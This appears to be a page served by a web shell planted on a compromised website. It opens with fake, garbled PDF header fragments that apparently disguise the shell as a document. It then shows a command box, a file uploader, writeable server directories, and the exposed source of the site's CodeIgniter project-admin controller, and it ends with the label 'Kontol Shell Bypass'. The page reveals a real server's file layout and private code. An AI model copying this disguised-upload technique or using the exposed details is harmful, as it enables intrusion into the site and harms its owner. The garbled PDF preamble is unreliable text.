%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/rsplinfra.com/application/modules/admin/controllers/manageproject/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/rsplinfra.com/application/modules/admin/controllers/manageproject/Manageproject.php
<?php

if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}

class Manageproject extends ADMIN_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->model('Project_model');
    }

    public function index()
    {
        $this->login_check();
        $data = array();
        $head = array();
        $head['title'] = 'Administration - Manage Project';
        $head['description'] = 'Administration - Manage Project';
        $head['keywords'] = 'Administration - Manage Project';
		// Delete Project
		if (isset($_GET['delete'])) {
            $this->Project_model->deleteRecords($_GET['delete']);
            $this->session->set_flashdata('success', 'Project is deleted!');
            $this->saveHistory('Delete Project id - ' . $_GET['delete']);
            redirect('admin/manageproject');
        }
		
		// Get happenings
		$data['projects'] = $this->Project_model->getProjects(NULL, NULL);
		
		// Get Sections
		$data['categoryArray'] = $this->Project_model->getcategoryList('tbl_project_category');
		
        $this->load->view('_parts/header', $head);
        $this->load->view('manageproject/manageproject', $data);
        $this->load->view('_parts/footer');
        $this->saveHistory('Go to Manage Project');
    }

	public function addproject()
	{
		$this->login_check();
        $data = array();
        $head = array();
        $head['title'] = 'Administration - Add Project';
        $head['description'] = 'Administration - Add Project';
        $head['keywords'] = 'Administration - Add Project';
		
		
		if (isset($_POST['submit'])) {
			$this->form_validation->set_rules('title', 'Title', 'trim|required');
			//$this->form_validation->set_rules('description', 'Description', 'trim|required');
			$this->form_validation->set_rules('status', 'Status', 'trim|required');
			// $video_file = $this->uploadvideo();
			// if($video_file==false) { 
			// 	$this->form_validation->set_message('video_file','Invalid Video Size. Maximum 5 MB video allowed!'); 
			// }
			if ($this->form_validation->run($this)) {
				//$_POST['video_url'] = seo_friendly_url(str_replace(' ','-',strtolower($_POST['video_url'])));
			    //$_POST['video_name'] = seo_friendly_url($_POST['video_name']);
			    //$_POST['video_text'] = seo_friendly_url($_POST['video_text']);
				$_POST['project_image'] = $this->uploadImage('project_image');
				//$_POST['site_logo'] = $this->uploadImage('site_logo');
			   //if($_POST['old_logo']!='' && $_POST['site_logo']==''){ $_POST['site_logo'] = $_POST['old_logo']; } unset($_POST['old_logo']);
				$_POST['title'] = seo_friendly_url($_POST['title']);
				//$_POST['description'] = seo_friendly_url_desc($_POST['description']);
				$_POST['slug'] = str_replace(array(" ","'","&",";",":","`"),"-",valid_seo_friendly_url(strtolower($_POST['slug'])));
				$this->Project_model->setProjects($_POST);
				$this->session->set_flashdata('success', 'Project Added Successfully');
				if ($id == 0) {
					$this->saveHistory('Project Added Successfully');
				} else {
					$this->saveHistory('Project Updated Successfully');
				}
				
				redirect('admin/manageproject');
			}   
        }
		
		// Get Project List
		if(isset($_GET['edit'])){
		$_POST = $this->Project_model->getProjects($_GET['edit']);
		}
		// Set Sections
		$data['categoryArray'] = $this->Project_model->getcategory('tbl_project_category');
		
	 	$this->load->view('_parts/header', $head);
        $this->load->view('manageproject/addproject', $data);
        $this->load->view('_parts/footer');
        $this->saveHistory('Go to Add New Project');
	}
	
	/*
	* Function : sections
	*/
	
	public function managecategory()
	{
		$this->login_check();
        $data = array();
        $head = array();
        $head['title'] = 'Administration - Manage Category';
        $head['description'] = 'Administration - Manage Category';
        $head['keywords'] = 'Administration - Manage Category';
		
		// Delete Sections
		if (isset($_GET['delete'])) {
			
            $this->Project_model->delete_records('tbl_project_category',$_GET['delete']);
            $this->session->set_flashdata('success', 'Category is deleted!');
            $this->saveHistory('Delete Catgeory id - ' . $_GET['delete']);
            redirect('admin/manageproject/managecategory');
        }
		
		
		// Set category
		$data['categoryArray'] = $this->Project_model->getAllcategories('tbl_project_category');
		
		$this->load->view('_parts/header', $head);
        $this->load->view('manageproject/managecategory', $data);
        $this->load->view('_parts/footer');
        $this->saveHistory('Go to Manage Category');	
	}
	
	public function addcategory()
	{
		$this->login_check();
        $data = array();
        $head = array();
        $head['title'] = 'Administration - Add Category';
        $head['description'] = 'Administration - Add Category';
        $head['keywords'] = 'Administration - Add Category';
		if (isset($_POST['submit'])) {
			
			$this->form_validation->set_rules('category_name', 'Category Name', 'trim|required');
			$this->form_validation->set_rules('status', 'Status', 'trim|required');
       
			if ($this->form_validation->run($this)) {
			
				$this->Project_model->setCategory($_POST);
				$this->session->set_flashdata('success', 'Category Added Successfully');
				if ($id == 0) {
					$this->saveHistory('Category Added Successfully');
				} else {
					$this->saveHistory('Category Updated Successfully');
				}
				
				redirect('admin/manageproject/managecategory');
			}   
        }
		if(isset($_GET['edit']))
		{
			$_POST = $this->Project_model->getcategory('tbl_project_category', $_GET['edit']);
		}
		$this->load->view('_parts/header', $head);
        $this->load->view('manageproject/addcategory', $data);
        $this->load->view('_parts/footer');
        $this->saveHistory('Go to Add New Category');	
	}
	
	/*
	* Function : uploadImage
	*/
	private function uploadImage($image)
    {
	
        $config['upload_path'] = './attachments/project_images/';
        $config['allowed_types'] = $this->allowed_img_types;
		
        $this->load->library('upload', $config);
        $this->upload->initialize($config);
        if (!$this->upload->do_upload($image)) {
            //log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
        }
        $img = $this->upload->data();
		// Resize Image
		if(!empty($img['file_name'])) {
			//resizeImage($img['file_name'],'250','250','attachments/happening_images');
		}
        return $img['file_name'];
	}
	
	// private function uploadvideo()
    // {
	// 	$config = array();
	// 	$video_data = array();
	// 	$config['upload_path'] = './attachments/business_video_files/';
    //     $config['allowed_types'] = $this->allowed_video_types;
	// 	$config['encrypt_name'] = FALSE;
	// 	$is_file_error = FALSE;
    //     $this->load->library('upload', $config);
				
    //     $this->upload->initialize($config);
		
	// 	if($_FILES['video_file']['size']<=$this->allowed_video_size){
	// 		if (!$this->upload->do_upload('video_file')) {
	// 			log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
	// 		}
	// 		$img = $this->upload->data();
	// 		return $img['file_name'];
	// 	} else {
	// 		return $is_file_error;
	// 	}
    // }
	
	
}

Kontol Shell Bypass